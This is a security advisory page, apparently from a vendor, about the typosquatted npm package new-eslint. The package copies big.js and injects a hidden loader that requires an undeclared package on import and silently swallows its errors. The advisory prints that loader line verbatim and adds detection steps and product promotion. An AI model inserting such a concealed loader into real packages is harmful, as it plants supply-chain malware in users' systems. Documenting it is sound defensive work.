new-eslintnpm
new-eslint is a confirmed malicious npm package (MAL-2026-6224) that typosquats a legitimate package to trick installs (malicious version 7.0.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in new-eslint (npm)
What this malware does
Package is published as 'new-eslint' but ships a verbatim copy of MikeMcl/big.js, with a hidden loader injected mid-file between P.minus and P.mod in both big.js:605 and big.mjs:605: const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. This require fires whenever a consumer imports or requires the package and silently swallows all errors. The required package ts-eslint-helper is not declared in package.json — the manifest lists a different package, [email protected] — so the loaded code is undeclared and attacker-mutable. The README claims 'no dependencies' and describes big.js, while the package name impersonates eslint tooling: classic typosquat lure plus hidden remote-controlled loader. Whatever ts-eslint-helper.from_str() does runs in the installer's process on import with no advertised functionality justifying it.
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Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-eslint (version 7.0.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-eslint across your stack and pipelines.
If you installed it — respond
new-eslint is a typosquat — you almost certainly intended a legitimately-named package. Remove new-eslint, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If new-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks new-eslint before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
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Detect & block this
O3 blocks new-eslint-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.